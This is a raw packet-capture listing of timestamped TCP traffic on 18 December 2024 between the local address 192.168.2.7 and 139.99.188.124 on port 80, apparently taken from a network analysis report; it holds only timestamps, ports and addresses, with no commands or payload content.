                                                        Dec 18, 2024 09:19:32.137775898 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.137847900 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.138875008 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.138959885 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.139008045 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.141092062 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.141104937 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.141143084 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.142106056 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.142343044 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.142394066 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.143368959 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.143486977 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.143554926 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.144582987 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.144670963 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.144723892 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.145771980 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.146015882 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.146080017 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.146955013 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.147069931 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.147121906 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.148185968 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.148283005 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.148380995 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.149370909 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.149437904 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.149501085 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.150563002 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.150675058 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.150724888 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.151729107 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.151891947 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.151987076 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.152964115 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.153059006 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.153134108 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.154256105 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.154268026 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.154517889 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.155375004 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.155531883 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.155584097 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.156599045 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.156748056 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.156805992 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.158355951 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.158368111 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.158430099 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.159061909 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.159245014 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.159329891 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.160320997 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.160415888 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.160470009 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.161535025 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.161550045 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.161603928 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.162661076 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.162940979 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.163099051 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.164056063 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.164206028 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.164416075 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.165505886 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.165518045 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.165570974 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.166585922 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.166599035 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.166640997 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.167522907 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.167603016 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.167687893 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.168509960 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.168689966 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.168751955 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.169768095 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.169780970 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.169823885 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.170906067 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.170919895 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.171089888 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.172204971 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.172218084 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.172354937 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.173307896 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.173471928 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.173531055 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.174546957 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.174791098 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.174892902 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.175693035 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.175777912 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.175828934 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.176945925 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.177373886 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.177428007 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.178097010 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.225317955 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.283821106 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.283835888 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.284231901 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.284274101 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.284286022 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.284468889 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.285319090 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.285487890 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.285557985 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.286587954 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.286600113 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.286652088 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.287817955 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.287978888 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.288079023 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.288762093 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.288832903 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.288878918 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.289911032 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.290093899 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.290224075 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.291001081 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.291052103 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.291162968 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.292215109 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.292227983 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.292350054 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.293174982 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.293345928 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.293411016 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.294218063 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.294393063 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.294553041 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.295360088 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.295452118 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.295532942 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.296329021 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.296570063 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.296678066 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.297377110 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.297456026 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.297522068 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.298372984 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.298568010 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.298636913 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.299360991 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.299438953 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.299506903 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.300425053 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.300525904 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.300571918 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.301455975 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.301508904 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.301611900 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.302622080 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.302632093 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.302833080 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.303046942 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.303067923 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.303118944 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.303983927 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.304272890 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.304378986 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.305066109 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.305104971 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.305332899 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.305974007 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.306093931 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.306171894 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.307029963 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.307137012 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.307287931 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.308074951 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.308088064 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.308123112 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.309012890 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.309143066 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.309252024 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.310095072 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.310106039 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.310174942 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.311144114 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.311156988 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.311222076 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.312176943 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.312191010 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.312582970 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.313052893 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.313287020 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.313359976 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.313992977 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.314122915 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.314166069 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.315087080 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.315161943 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.315242052 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.316062927 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.316075087 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.316240072 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.317118883 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.317197084 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.317295074 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.318061113 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.318074942 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.318139076 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.319046974 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.319114923 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.319161892 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.320219994 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.320233107 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.320681095 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.321141005 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.321154118 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.321233034 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.322122097 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.322134972 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.322186947 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.323060036 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.323362112 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.323450089 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.324193001 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.324207067 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.324256897 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.325083017 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.325530052 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.325642109 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.326073885 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.326272011 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.326410055 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.327151060 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.327167034 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.327204943 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.328208923 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.328222036 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.328250885 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.329128981 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.329231024 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.329292059 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.330144882 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.330209017 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.330271006 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.331165075 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.331363916 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.331409931 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.332099915 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.332154036 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.332204103 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.333163977 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.333395958 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.333470106 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.334181070 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.334235907 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.334287882 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.335194111 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.335206032 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.335247040 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.336370945 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.336383104 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.336529016 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.337129116 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.337140083 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.337203979 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.475243092 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.475323915 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.475403070 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.475642920 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.475934029 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.475946903 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.476002932 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.476963043 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.476975918 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.477026939 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.477910042 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.477921963 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.477962971 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.478936911 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.478950024 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.478996992 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.479872942 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.479933977 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.479958057 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.480916023 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.480973959 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.480998039 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.481849909 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.481899977 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.481971025 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.482935905 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.482999086 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.483025074 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.483928919 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.483978987 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.484098911 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.485150099 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.485162973 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.485225916 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.486056089 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.486148119 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.486176968 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.487052917 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.487111092 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.487174988 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.488106012 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.488117933 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.488157988 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.489051104 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.489119053 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.489187002 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.489876986 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.489973068 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.490144014 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.490938902 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.490982056 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.491059065 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.491970062 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.492033005 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.492063046 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.492944002 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.493012905 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.493014097 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.493985891 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.494024038 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.494051933 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.494663000 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.494718075 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.494719982 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.495599985 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.495652914 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.495714903 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.496629000 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.496700048 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.496716976 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.497653961 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.497706890 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.497729063 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.498857021 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.498868942 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.498960018 CET4971680192.168.2.7139.99.188.124
                                                        Dec 18, 2024 09:19:32.499622107 CET8049716139.99.188.124192.168.2.7
                                                        Dec 18, 2024 09:19:32.499712944 CET4971680192.168.2.7139.99.188.124
